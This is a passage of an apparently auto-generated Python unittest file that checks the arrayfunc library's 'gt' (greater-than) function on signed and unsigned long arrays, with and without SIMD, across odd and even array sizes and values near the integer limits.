vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('l', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('l', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('l', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('l', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('l', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code l.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_l_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'l' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'l' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.l_min
maxval = arrayfunc.arraylimits.l_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'l' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('l', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('l', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('l', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('l', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('l', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code l.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_l_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'l' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'l' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.l_min
maxval = arrayfunc.arraylimits.l_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'l' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('l', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('l', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('l', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('l', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('l', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code l.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_l_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'l' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'l' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.l_min
maxval = arrayfunc.arraylimits.l_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'l' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('l', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('l', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('l', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('l', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('l', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code l.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code l.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code l.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code l.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code l.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code l.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_L_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'L' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'L' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.L_min
maxval = arrayfunc.arraylimits.L_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'L' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('L', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('L', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('L', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('L', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('L', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code L.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
